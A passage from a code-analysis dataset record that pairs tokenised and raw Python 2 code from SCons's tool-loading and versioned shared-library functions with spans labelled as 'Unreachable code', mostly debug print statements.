"ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "self_", "._", "\\u", "custom", "\\u", "method", "\\u", "element", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "body_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "=_", "self_", "._", "to", "\\u", "xml_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "self_", "._", "\\u", "custom", "\\u", "method", "\\u", "new", "\\u", "element", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "klass_", "._", "connection_", "._", "post_", "(_", "url_", ",_", "self_", "._", "klass_", "._", "headers_", ",_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "instance", "\\u", "put_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "body_", "=_", "''_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "a", " ", "nest", "ed", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "update", ".", "\\", "10", ";", " ", " ", " ", " ", "body", ":", " ", "The", " ", "data", " ", "to", " ", "send", " ", "as", " ", "the", " ", "body", " ", "of", " ", "the", " ", "request", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "\\u", "custom", "\\u", "method", "\\u", "element", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "klass_", "._", "connection_", "._", "put_", "(_", "url_", ",_", "self_", "._", "klass_", "._", "headers_", ",_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "instance", "\\u", "delete_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Delete", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "delete", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "\\u", "custom", "\\u", "method", "\\u", "element", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "klass_", "._", "connection_", "._", "delete_", "(_", "url_", ",_", "self_", "._", "klass_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "instance", "\\u", "head_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Predicate", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", " ", "exist", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "predica", "te", " ", "exist", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "connecti", "on", ".", "Respons", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "\\u", "custom", "\\u", "method", "\\u", "element", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "klass_", "._", "connection_", "._", "head_", "(_", "url_", ",_", "self_", "._", "klass_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
kayhayen/Nuitka/nuitka/build/inline_copy/lib/scons-2.3.2/SCons/Tool/__init__.py
[ { "content": " def _tool_module(self):\n # TODO: Interchange zipimport with normal initilization for better error reporting\n oldpythonpath = sys.path\n sys.path = self.toolpath + sys.path\n\n try:\n try:\n file, path, desc = imp.find_module(self.name, self.toolpath)\n try:\n return imp.load_module(self.name, file, path, desc)\n finally:\n if file:\n file.close()\n except ImportError, e:\n if str(e)!=\"No module named %s\"%self.name:\n raise SCons.Errors.EnvironmentError(e)\n try:\n import zipimport\n except ImportError:\n pass\n else:\n for aPath in self.toolpath:\n try:\n importer = zipimport.zipimporter(aPath)\n return importer.load_module(self.name)\n except ImportError, e:\n pass\n finally:\n sys.path = oldpythonpath\n\n full_name = 'SCons.Tool.' + self.name\n try:\n return sys.modules[full_name]\n except KeyError:\n try:\n smpath = sys.modules['SCons.Tool'].__path__\n try:\n file, path, desc = imp.find_module(self.name, smpath)\n module = imp.load_module(full_name, file, path, desc)\n setattr(SCons.Tool, self.name, module)\n if file:\n file.close()\n return module\n except ImportError, e:\n if str(e)!=\"No module named %s\"%self.name:\n raise SCons.Errors.EnvironmentError(e)\n try:\n import zipimport\n importer = zipimport.zipimporter( sys.modules['SCons.Tool'].__path__[0] )\n module = importer.load_module(full_name)\n setattr(SCons.Tool, self.name, module)\n return module\n except ImportError, e:\n m = \"No tool named '%s': %s\" % (self.name, e)\n raise SCons.Errors.EnvironmentError(m)\n except ImportError, e:\n m = \"No tool named '%s': %s\" % (self.name, e)\n raise SCons.Errors.EnvironmentError(m)", "metadata": "root.Tool._tool_module", "header": "['class', 'Tool', '(', 'object', ')', ':', '___EOS___']", "index": 102 }, { "content": "def VersionShLibLinkNames(version, libname, env):\n \"\"\"Generate names of symlinks to the versioned shared library\"\"\"\n Verbose = False\n platform = env.subst('$PLATFORM')\n shlib_suffix = env.subst('$SHLIBSUFFIX')\n shlink_flags = SCons.Util.CLVar(env.subst('$SHLINKFLAGS'))\n\n linknames = []\n if version.count(\".\") != 2:\n # We need a version string of the form x.y.z to proceed\n # Several changes need to be made to support versions like x.y\n raise ValueError\n\n if platform == 'darwin':\n # For libfoo.x.y.z.dylib, linknames libfoo.so\n suffix_re = re.escape('.' + version + shlib_suffix)\n linkname = re.sub(suffix_re, shlib_suffix, libname)\n if Verbose:\n print \"VersionShLibLinkNames: linkname = \",linkname\n linknames.append(linkname)\n elif platform == 'posix':\n if sys.platform.startswith('openbsd'):\n # OpenBSD uses x.y shared library versioning numbering convention\n # and doesn't use symlinks to backwards-compatible libraries\n return []\n # For libfoo.so.x.y.z, linknames libfoo.so libfoo.so.x.y libfoo.so.x\n suffix_re = re.escape(shlib_suffix + '.' + version)\n # First linkname has no version number\n linkname = re.sub(suffix_re, shlib_suffix, libname)\n if Verbose:\n print \"VersionShLibLinkNames: linkname = \",linkname\n linknames.append(linkname)\n versionparts = version.split('.')\n major_name = linkname + \".\" + versionparts[0]\n minor_name = major_name + \".\" + versionparts[1]\n #Only add link for major_name\n #for linkname in [major_name, minor_name]:\n for linkname in [major_name, ]:\n if Verbose:\n print \"VersionShLibLinkNames: linkname \",linkname, \", target \",libname\n linknames.append(linkname)\n # note: no Windows case here (win32 or cygwin);\n # MSVC doesn't support this type of versioned shared libs.\n # (could probably do something for MinGW though)\n return linknames", "metadata": "root.VersionShLibLinkNames", "header": "['module', '___EOS___']", "index": 238 }, { "content": "def VersionedSharedLibrary(target = None, source= None, env=None):\n \"\"\"Build a shared library. If the environment has SHLIBVERSION\ndefined make a versioned shared library and create the appropriate\nsymlinks for the platform we are on\"\"\"\n Verbose = False\n try:\n version = env.subst('$SHLIBVERSION')\n except KeyError:\n version = None\n\n # libname includes the version number if one was given\n libname = target[0].name\n platform = env.subst('$PLATFORM')\n shlib_suffix = env.subst('$SHLIBSUFFIX')\n shlink_flags = SCons.Util.CLVar(env.subst('$SHLINKFLAGS'))\n if Verbose:\n print \"VersionShLib: libname = \",libname\n print \"VersionShLib: platform = \",platform\n print \"VersionShLib: shlib_suffix = \",shlib_suffix\n print \"VersionShLib: target = \",str(target[0])\n\n if version:\n # set the shared library link flags\n if platform == 'posix':\n shlink_flags += [ '-Wl,-Bsymbolic' ]\n # OpenBSD doesn't usually use SONAME for libraries\n if not sys.platform.startswith('openbsd'):\n # continue setup of shlink flags for all other POSIX systems\n suffix_re = re.escape(shlib_suffix + '.' + version)\n (major, age, revision) = version.split(\".\")\n # soname will have only the major version number in it\n soname = re.sub(suffix_re, shlib_suffix, libname) + '.' + major\n shlink_flags += [ '-Wl,-soname=%s' % soname ]\n if Verbose:\n print \" soname \",soname,\", shlink_flags \",shlink_flags\n elif platform == 'cygwin':\n shlink_flags += [ '-Wl,-Bsymbolic',\n '-Wl,--out-implib,${TARGET.base}.a' ]\n elif platform == 'darwin':\n shlink_flags += [ '-current_version', '%s' % version,\n '-compatibility_version', '%s' % version,\n '-undefined', 'dynamic_lookup' ]\n if Verbose:\n print \"VersionShLib: shlink_flags = \",shlink_flags\n envlink = env.Clone()\n envlink['SHLINKFLAGS'] = shlink_flags\n else:\n envlink = env\n\n result = SCons.Defaults.ShLinkAction(target, source, envlink)\n\n if version:\n # here we need the full pathname so the links end up in the right directory\n libname = target[0].path\n linknames = VersionShLibLinkNames(version, libname, env)\n if Verbose:\n print \"VerShLib: linknames \",linknames\n # Here we just need the file name w/o path as the target of the link\n lib_ver = target[0].name\n # make symlink of adjacent names in linknames\n for count in range(len(linknames)):\n linkname = linknames[count]\n if count > 0:\n try:\n os.remove(lastlinkname)\n except:\n pass\n os.symlink(os.path.basename(linkname),lastlinkname)\n if Verbose:\n print \"VerShLib: made sym link of %s -> %s\" % (lastlinkname,linkname)\n lastlinkname = linkname\n # finish chain of sym links with link to the actual library\n if len(linknames)>0:\n try:\n os.remove(lastlinkname)\n except:\n pass\n os.symlink(lib_ver,lastlinkname)\n if Verbose:\n print \"VerShLib: made sym link of %s -> %s\" % (linkname, lib_ver)\n return result", "metadata": "root.VersionedSharedLibrary", "header": "['module', '___EOS___']", "index": 284 } ]
[ { "span": "except ImportError:", "start_line": 120, "start_column": 16, "end_line": 120, "end_column": 35 }, { "span": "print \"VersionShLibLinkNames: linkname = \",linkname", "start_line": 256, "start_column": 12, "end_line": 256, "end_column": 63 }, { "span": "print \"VersionShLibLinkNames: linkname = \",linkname", "start_line": 268, "start_column": 12, "end_line": 268, "end_column": 63 }, { "span": "print \"VersionShLibLinkNames: linkname \",linkname, \", target \",libname", "start_line": 277, "start_column": 16, "end_line": 277, "end_column": 86 }, { "span": "print \"VersionShLib: libname = \",libname", "start_line": 300, "start_column": 8, "end_line": 300, "end_column": 53 }, { "span": "print \" soname \",soname,\", shlink_flags \",shlink_flags", "start_line": 318, "start_column": 20, "end_line": 318, "end_column": 74 }, { "span": "print \"VersionShLib: shlink_flags = \",shlink_flags", "start_line": 327, "start_column": 12, "end_line": 327, "end_column": 62 }, { "span": "print \"VerShLib: linknames \",linknames", "start_line": 340, "start_column": 12, "end_line": 340, "end_column": 50 }, { "span": "print \"VerShLib: made sym link of %s -> %s\" % (lastlinkname,linkname)", "start_line": 353, "start_column": 20, "end_line": 353, "end_column": 89 }, { "span": "print \"VerShLib: made sym link of %s -> %s\" % (linkname, lib_ver)", "start_line": 363, "start_column": 16, "end_line": 363, "end_column": 81 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "Tool_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "tool", "\\u", "module_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Interc", "hange", " ", "zip", "import", " ", "with", " ", "normal", " ", "init", "iliz", "ation", " ", "for", " ", "bett", "er", " ", "error", " ", "reporting", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "oldp", "yth", "onp", "ath_", "=_", "sys_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "path_", "=_", "self_", "._", "tool", "path_", "+_", "sys_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file_", ",_", "path_", ",_", "desc_", "=_", "imp_", "._", "find", "\\u", "module_", "(_", "self_", "._", "name_", ",_", "self_", "._", "tool", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "imp_", "._", "load", "\\u", "module_", "(_", "self_", "._", "name_", ",_", "file_", ",_", "path_", ",_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "str_", "(_", "e_", ")_", "!=_", "\"", "No", " ", "module", " ", "named", " ", "%", "s", "\"_", "%_", "self_", "._", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "SC", "ons_", "._", "Errors_", "._", "Environ", "ment", "Error_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "import_", "zip", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "a", "Path_", "in_", "self_", "._", "tool", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "importer_", "=_", "zip", "import_", "._", "zip", "importer_", "(_", "a", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "importer_", "._", "load", "\\u", "module_", "(_", "self_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "path_", "=_", "oldp", "yth", "onp", "ath_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "full", "\\u", "name_", "=_", "'", "SC", "ons", ".", "Tool", ".'_", "+_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "sys_", "._", "modules_", "[_", "full", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "smp", "ath_", "=_", "sys_", "._", "modules_", "[_", "'", "SC", "ons", ".", "Tool", "'_", "]_", "._", "\\u\\u", "path\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "file_", ",_", "path_", ",_", "desc_", "=_", "imp_", "._", "find", "\\u", "module_", "(_", "self_", "._", "name_", ",_", "smp", "ath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module_", "=_", "imp_", "._", "load", "\\u", "module_", "(_", "full", "\\u", "name_", ",_", "file_", ",_", "path_", ",_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "SC", "ons_", "._", "Tool_", ",_", "self_", "._", "name_", ",_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "str_", "(_", "e_", ")_", "!=_", "\"", "No", " ", "module", " ", "named", " ", "%", "s", "\"_", "%_", "self_", "._", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "SC", "ons_", "._", "Errors_", "._", "Environ", "ment", "Error_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "import_", "zip", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "importer_", "=_", "zip", "import_", "._", "zip", "importer_", "(_", "sys_", "._", "modules_", "[_", "'", "SC", "ons", ".", "Tool", "'_", "]_", "._", "\\u\\u", "path\\u\\u_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module_", "=_", "importer_", "._", "load", "\\u", "module_", "(_", "full", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "SC", "ons_", "._", "Tool_", ",_", "self_", "._", "name_", ",_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "m_", "=_", "\"", "No", " ", "tool", " ", "named", " ", "'%", "s", "':", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "name_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "SC", "ons_", "._", "Errors_", "._", "Environ", "ment", "Error_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "\"", "No", " ", "tool", " ", "named", " ", "'%", "s", "':", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "name_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "SC", "ons_", "._", "Errors_", "._", "Environ", "ment", "Error_", "(_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Version", "Sh", "Lib", "Link", "Names_", "(_", "version_", ",_", "libname", "_", ",_", "env_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Generate", " ", "names", " ", "of", " ", "symlinks", " ", "to", " ", "the", " ", "versioned", " ", "shared", " ", "librar", "y", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Verbos", "e_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform_", "=_", "env_", "._", "subst_", "(_", "'$", "PLATFORM", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shl", "ib", "\\u", "suffix_", "=_", "env_", "._", "subst_", "(_", "'$", "SH", "LIBS", "UFF", "IX", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shl", "ink", "\\u", "flags_", "=_", "SC", "ons_", "._", "Util_", "._", "CL", "Var_", "(_", "env_", "._", "subst_", "(_", "'$", "SH", "LINK", "FLAG", "S", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "link", "names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "version_", "._", "count_", "(_", "\".\"_", ")_", "!=_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "a", " ", "version", " ", "string", " ", "of", " ", "the", " ", "form", " ", "x", ".", "y", ".", "z", " ", "to", " ", "proceed", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Seve", "ral", " ", "change", "s", " ", "need", " ", "to", " ", "be", " ", "made", " ", "to", " ", "support", " ", "version", "s", " ", "like", " ", "x", ".", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "platform_", "==_", "'", "dar", "win", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "For", " ", "libf", "oo", ".", "x", ".", "y", ".", "z", ".", "dylib", ",", " ", "link", "names", " ", "libf", "oo", ".", "so_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " 